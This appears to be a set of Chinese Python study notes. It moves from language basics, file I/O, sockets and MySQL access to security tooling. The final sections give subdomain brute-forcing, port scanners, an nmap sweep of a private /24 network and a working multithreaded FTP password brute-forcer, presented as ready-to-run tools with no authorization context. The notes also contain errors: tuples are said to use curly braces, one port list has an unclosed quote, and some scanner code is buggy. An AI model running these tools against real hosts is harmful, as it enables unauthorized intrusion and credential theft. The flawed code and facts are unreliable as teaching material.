安装python
安装python解释器 下一步 在下一步 完成后 win+r 输入cmd python
编写第python一个程序
print("hello,world!")
安装模块
pip install 模块名
列出所有模块
pip list
模块的使用
import 模块名
from 模块名import 对象名
python 序列
列表
// 创建列表 student = ['number','id','age'] print(student) // ['number', 'id', 'age'] // list() 函数将元组 字符串 字典等可迭代对象强转为列表 num = list((1,2,3,4,5)) print(num) // [1, 2, 3, 4, 5] // 删除列表 student = ['number','id','age'] del student[0] print(student) // ['id', 'age'] // 添加元素 student = ['number','id','age'] student.append('class') print(student) // ['number', 'id', 'age', 'class'] // 列表中添加列表 student = ['number','id','age'] lit = [18,20,20] student.extend(lit) print(student) // ['number', 'id', 'age', 18, 20, 20] // 在指定位置添加元素 li1 = [1,2,3,4] li2 = '2.0' li1.insert(2,li2) // 在元素2 后面添加字符串 2.0 print(li1) // [1, 2, '2.0', 3, 4] // 删除指定的元素 li1 = [1,2,3,4] li1.remove(1) print(li1) // [2, 3, 4] //返回指定元素在列表出现的次数 li1 = [1,2,3,4,1,1,1] ret = li1.count(1) print(ret) // 4 1出现4次 // 将列表中的元素逆序 li1 = [1,2,3,4] li1.reverse() print(li1) // [4, 3, 2, 1] // 对元素进行排序 // key指定排序依据,reverse决定升序(False)还是降序(True) li1 = [2,5,7,3,1,9] // 升序 li1.sort(key=str,reverse=False) print(li1) # [1, 2, 3, 5, 7, 9] // 降序 li1.sort(key=str,reverse=True) print(li1) # [9, 7, 5, 3, 2, 1]
元组
tu = (1,2,3) print(tu) // (1, 2, 3)
字典
// 基本语法 dic = {'v1':'k1','v2':'k2'} print(dic) // {'v1': 'k1', 'v2': 'k2'} // 通过dict创建字典 dic = dict(name='阿杰',age=18) print(dic) // {'name': '阿杰', 'age': 18} // 修改字典中的元素 dic = dict(name='阿杰',age=18) dic['age']=20 print(dic) // {'name': '阿杰', 'age': 20} // 添加新元素 dic = dict(name='阿杰',age=18) dic['sex'] = 'man' print(dic) // {'name': '阿杰', 'age': 18, 'sex': 'man'} // 返回字典中所有的元素 dic = dict(name='阿杰',age=18) dic.items() print(dic) //删除字典中的元素 dic = dict(name='阿杰',age=18) del dic['age'] print(dic) // {'name': '阿杰'} 总结: 列表外面是中括号 元组外面是花括号 字典外面是大括号
if 判断
age = 40 if age > 30: print("回家养老吧") # 回家养老吧 num = 80 if num >=90: print("优秀") elif num >= 80: print("良好") else: print("你太优秀了,学校不是你呆的地方!")
循环结构
for循环
# 打印1+2+3+...+100 的和 sum = 0 for i in range(1,101): sum = sum + i print(sum)
while循环
sum = 0 i = 1 while i < 101: sum = sum + i i += 1 print(sum)
文件操作
""" fp = open(文件名,模式,字符编码集) fp 文件的io对象(文件句柄) i => input 输入 o => output 输出 对象可以实现操作: 对象.属性 对象.方法() """ # 一.文件的写入操作 # (1) 打开文件 fp = open("ceshi1.txt",mode="w",encoding="utf-8") #打开冰箱门 print(fp) # (2) 写入内容 fp.write("我就是想赛个大象进去") # 把大象塞到冰箱里头 # (3) 关闭文件 fp.close() #关上冰箱门 # 二.文件的读取操作 # (1) 打开文件 fp = open("ceshi1.txt",mode="r",encoding="utf-8") # (2) 读取内容 res = fp.read() print(res) # (3) 关闭文件 fp.close() # 三.二进制字节流 """ 文件可以存放两种内容:(1)字符串(2)二进制字节流 二进制字节流: 数据传输时的一种格式 表达方式: (1)b开头 比如b"123" 对字符有要求:ascii编码 (2)如果表达中文,使用encode和decode # 将字符串和字节流(Bytes流)类型进行转换 (参数写成转化的字符编码格式) #encode() 编码 将字符串转化为字节流(Bytes流) #decode() 解码 将Bytes流转化为字符串 """ strvar = b"abc" # strvar = b"中文" error print(strvar,type(strvar)) # 把中文变成二进制的字节流 strvar = "我爱你" res = strvar.encode() # b'\xe6\x88\x91\xe7\x88\xb1\xe4\xbd\xa0' print(res) strvar = b"\xe7\x88\xb1" res = strvar.decode() print(res) # 四.存储二进制字节流 (如果存入的是字节流,不需要指定encoding) # 写入二进制字节流 fp = open("ceshi2.txt",mode="wb") strvar = b"\xe7\x88\xb1" fp.write(strvar) fp.close() # 读取二进制字节流 fp = open("ceshi2.txt",mode="rb") res = fp.read() print(res) # b'\xe7\x88\xb1' res2 = res.decode() print(res2) fp.close() # 五.复制文件 """ 图片 音频 视频 都是文件,里面的内容都是二进制字节流 """ # 1.读取图片当中所有内容(二进制字节流) fp = open("集合.png",mode="rb") bytes_str = fp.read() fp.close() print(bytes_str) # 2.把读出来的字节流写入到另外一个文件中 fp = open("jihe2.jpg",mode="wb") fp.write(bytes_str) fp.close() # ### 一 文件扩展模式 # (utf-8编码格式下 默认一个中文三个字节 一个英文或符号 占用一个字节) #read() 功能: 读取字符的个数(里面的参数代表字符个数) #seek() 功能: 调整指针的位置(里面的参数代表字节个数) #tell() 功能: 当前光标左侧所有的字节数(返回字节数) """ seek(0) 把光标移动到文件的开头 seek(0,2) 把光标移动到文件的末尾 """ # r+ 先读后写 """ fp = open("ceshi2.txt",mode="r+",encoding="utf-8") # 先读 res = fp.read() # 后写 fp.write("123") # 在读 fp.seek(0) res = fp.read() print(res,"<=====>") fp.close() """ """ # r+ 先写后读 fp = open("ceshi2.txt",mode="r+",encoding="utf-8") # 先写 fp.seek(0,2) # 把光标移动到最后 fp.write("lmn") # 在读 fp.seek(0) # 把光标移动到文件的开头 res = fp.read() fp.close() print(res) """ """ # w+ 可读可写 fp = open("ceshi4.txt",mode="w+",encoding="utf-8") # 写入 fp.write("你好我的baby") # 读取 fp.seek(0) res = fp.read() print(res) fp.close() """ """ # a+ 可读可写 (在写入内容时,会强制把光标移动到最后) # a模式和w模式,默认都能自动创建文件 fp = open("ceshi5.txt",mode="a+",encoding="utf-8") # 写入 fp.write("今天天气不错") # 读取 fp.seek(0) res = fp.read() print(res) fp.close() fp = open("ceshi6.txt",mode="a+",encoding="utf-8") # 移动光标 (无论如何移动,写入内容都是以追加的形式呈现) fp.seek(3) fp.write("456") fp.close() """ # ### 二.read , seek , tell 三个函数使用 fp = open("ceshi6.txt",mode="r+",encoding="utf-8") # read 里面的参数,单位是字符个数 res = fp.read(3) # 读取3个字符 # seek 移动光标 fp.seek(7) # fp.seek(5) 光标卡在中所代表的三个字节中的中间位置 res = fp.read() print(res) # tell 从当前光标往左读取,累计所有的字节数 res = fp.tell() print(res) # ### 三.注意点 (中文混合的情况) """ # abcd\xe6\x88\x91\xe7\x88\xb1 """ """ fp = open("ceshi6.txt",mode="r+",encoding="utf-8") fp.seek(5) res = fp.read() print(res) fp.close() """ # ### 四.with 语法 (可以省略掉close操作) """ with open() as fp: code .. """ # 读取图片当中所有内容 (二进制字节流) """ with open("集合.png",mode="rb") as fp: bytes_str = fp.read() with open("jihe3.gif",mode="wb") as fp: fp.write(bytes_str) """ # 在升级,用三行代码实现 with open("集合.png",mode="rb") as fp1,open("jihe4.gif",mode="wb") as fp2: bytes_str = fp1.read() fp2.write(bytes_str)
异常处理
try ... except ... 属于成绩1-100 超出则报错 socre = input("请输入成绩:") try: socre = int(socre) if (0 <= socre <= 100 ): print("你的成绩为:", socre) else: print("输入有误,请重试!") except Exception as a: print("nononono") # 请输入成绩:90 # 你的成绩为:90 # 请输入成绩:190 # 输入有误,请重试! // try ... except ... else socre = input("请输入成绩:") try: socre = int(socre) except Exception as a: print("nononono") else: if (0 <= socre <= 100 ): print("你的成绩为:", socre) else: print("输入有误,请重试!") // try except finally a = int(input('a:' )) b = int(input('b:' )) try: div = a/b print(div) except Exception as e: print("======") finally: print("over")
socket 编程
server: import socket # 明确配置变量 ip_port = ('127.0.0.1', 8080) back_log = 5 buffer_size = 1024 # 创建一个TCP套接字 ser = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 套接字类型AF_INET, socket.SOCK_STREAM tcp协议,基于流式的协议 ser.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 对socket的配置重用ip和端口号 # 绑定端口号 ser.bind(ip_port) # 写哪个ip就要运行在哪台机器上 # 设置半连接池 ser.listen(back_log) # 最多可以连接多少个客户端 while 1: # 阻塞等待,创建连接 con, address = ser.accept() # 在这个位置进行等待,监听端口号 while 1: try: # 接受套接字的大小,怎么发就怎么收 msg = con.recv(buffer_size) if msg.decode('utf-8') == '1': # 断开连接 con.close() print('服务器收到消息', msg.decode('utf-8')) except Exception as e: break # 关闭服务器 ser.close() clinet: import socket p = socket.socket(socket.AF_INET, socket.SOCK_STREAM) p.connect(('127.0.0.1', 8080)) while 1: msg = input('please input: ') # 防止输入空消息 if not msg: continue p.send(msg.encode('utf-8')) # 收发消息一定要二进制,记得编码 if msg == '1': break p.close()
mysql数据库编程
# 导入pymysql库 import pymysql # 创建连接 db_connection = pymysql.connect( host='127.0.0.1', user='root', password='123456', database='mysql', charset='utf8' ) # 使用 cursor() 方法创建一个游标对象 cursors = db_connection.cursor() # 使用 execute() 方法执行 SQL 查询 cursors.execute("SELECT VERSION()") # 使用 fetchone() 方法获取单条数据. data = cursors.fetchone() # 打印数据 print ("Database version : %s " % data) # 关闭数据库连接 db_connection.close() # 创建数据库 import pymysql # 打开数据库连接 conn = pymysql.connect('localhost', 'root', '123456') # 使用cursor()方法创建一个游标对象cursor cursor = conn.cursor() # 游标对象用于执行查询和获取结果 # 创建数据库 连接数据库时 sql = 'create database ajie charset utf8;' # 执行SQL语句 cursor.execute(sql) # 关闭数据库连接 conn.close() # 创建数据表 import pymysql # 打开数据库连接 conn = pymysql.connect('localhost', 'root', '123456', 'ajie') # 使用cursor()方法创建一个游标对象cursor cursor = conn.cursor() # 使用预处理语句创建表 sql = 'create table t1(name char(255), height int, age int,sex char(255))' # 执行SQL语句 cursor.execute(sql) # 插入数据 import pymysql # 打开数据库连接 conn = pymysql.connect('localhost', 'root', '123456', 'ajie') # 使用cursor()方法获取操作游标 cursor = conn.cursor() # SQL语句:向数据表中插入数据 sql = 'insert into t1(name,height,age,sex) values ( "阿杰" ,175,20,"男"); ' # 异常处理 try: # 执行SQL语句 cursor.execute(sql) # 提交事务到数据库执行 conn.commit() except: # 如果发生错误则执行回滚操作 conn.rollback() # 关闭数据库连接 conn.close() # 查询数据库 import pymysql # 打开数据库连接 conn = pymysql.connect('localhost', 'root', '123456', ) # 使用cursor()方法获取操作游标 cursor = conn.cursor() # SQL语句:查询 sql = "select * from ajie.t1; " # 异常处理 try: # 执行SQL语句 cursor.execute(sql) # 获取所有的记录列表 results = cursor.fetchall() # 遍历列表 for row in results: # 打印列表元素 print(row) except: print('Uable to fetch data!') # 关闭数据库连接 conn.close() # 更新数据 import pymysql # 打开数据库连接 conn = pymysql.connect('localhost', 'root', '123456', 'ajie') # 使用cursor()方法获取操作游标 cursor = conn.cursor() # SQL语句,执行更新操作 sql = 'update t1 set age = age + 5 where sex = "男"' # 异常处理 try: # 执行SQL语句 cursor.execute(sql) # 提交到数据库执行 conn.commit() except: # 发生错误时回滚 conn.rollback() # 关闭数据库连接 conn.close() # 删除数据 import pymysql # 打开数据库连接 conn = pymysql.connect('localhost', 'root', '123456', 'ajie') # 使用cursor()方法获取操作游标 cursor = conn.cursor() # SQL语句,执行删除操作 sql = 'delete from t1 where age >20;' # 异常处理 try: # 执行SQL语句 cursor.execute(sql) # 提交到数据库执行 conn.commit() except: # 发生错误时回滚 conn.rollback() # 关闭数据库连接 conn.close()
python 信息收集
ip查询 import socket ip = socket.gethostbyname("www.lvxinjie.cn") print(ip) whois 查询 from whois import whois data = whois.whois("www.lvxinjie.cn") print(data) CDN判断 服务器: dns.google Address: 8.8.8.8 名称: www.lvxinjie.cn Address: 120.25.205.228 import socket import os ports = ['21', '22', '80', '135', '443', '3306', '3389', '6375', '8080', '9000'] def netstat(): ip = socket.gethostbyname(url) for port in ports: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = server.connect_ex((ip, int(port))) if result == 0: print("%-14s:%-5s is open"%(ip, port)) else: print("%-14s:%-5s is close"%(ip, port)) if __name__ == '__main__': # 判断是否有cdn url = input("请输入需要查询的域名:") url_cdn = os.popen("nslookup {}".format(url)).read() cdn = url_cdn.count(".") if cdn > 10: # 替换www 获取真实ip url = url.replace("www.", "") netstat() else: netstat() 子域名查询 # 利用字典记载爆破进行查询 def zym_list_check(url): url=url.replace("www.","") for zym_list in open("dic.txt"): zym_list=zym_list.replace("\n","") zym_list_url=zym_list+"."+url try: ip=socket.gethostbyname(zym_list_url) print(zym_list_url+"->"+ip) time.sleep(0.1) except Exception as e: print(zym_list_url+"->"+"error") time.sleep(0.1) 端口扫描 def port_check(url): ip = socket.gethostbyname(url) ports={'21','22','135','443','445','80','1433','3306',"3389",'1521','8000','7002','7001','8080',"9090",'8089',"4848} server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) for port in ports: try: data=server.connect_ex((ip, port)) if data==0: print(ip+":"+str(port)+"|open") else: print(ip+":"+str(port)+"|close") pass except Exception as err: print("error") nmap模块 内网主机探测 import nmap def nmapscan(): nm = nmap.PortScanner() try: data=nm.scan(hosts='192.168.18.0/24', arguments='-T4 -F') print(nm.all_hosts()) print(nm.csv()) print(data) except Exception as err: print("error") if __name__ == '__main__': nmapscan()
高级端口扫描
import socket import datetime import re from concurrent.futures import ThreadPoolExecutor, wait DEBUG = False # 判断ip地址输入是否符合规范 def check_ip(ipAddr): compile_ip = re.compile( '^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$') if compile_ip.match(ipAddr): return True else: return False # 扫描端口程序 def portscan(ip, port): try: s = socket.socket() s.settimeout(0.2) s.connect((ip, port)) openstr = f'[+] {ip} port:{port} open' print(openstr) except Exception as e: if DEBUG is True: print(ip + str(port) + str(e)) else: return f'[+] {ip} port:{port} error' finally: s.close # 主程序,利用ThreadPoolExecutor创建600个线程同时扫描端口 def main(): while True: ip = input("请输入ip地址:") if check_ip(ip): start_time = datetime.datetime.now() executor = ThreadPoolExecutor(max_workers=600) t = [executor.submit(portscan, ip, n) for n in range(1, 65536)] if wait(t, return_when='ALL_COMPLETED'): end_time = datetime.datetime.now() print("扫描完成,用时:", (end_time - start_time).seconds) break if __name__ == '__main__': main()
暴力破解FTP
import ftplib import threading import queue #暴力破解ftp def ftp_check(): while not q.empty(): dict = q.get() dict = dict.split('|') username = dict[0] password = dict[1] ftp = ftplib.FTP() try: ftp.connect(ip, port) ftp.login(username, password) ftp.close() print('用户名:{} 密码:{} 已成功破解!'.format(username,password)) except ftplib.all_errors: ftp.close() if __name__ == '__main__': ip = input("请输入连接IP:") port = int(input("请输入端 口:")) thread_x = input("请输入线程数:") q = queue.Queue() for username in open('user.txt'): for password in open('pwd.txt'): username = username.replace('\n', '') password = password.replace('\n', '') diclist = username + '|' + password q.put(diclist) for x in range(int(thread_x)): t = threading.Thread (target=ftp_check) t.start()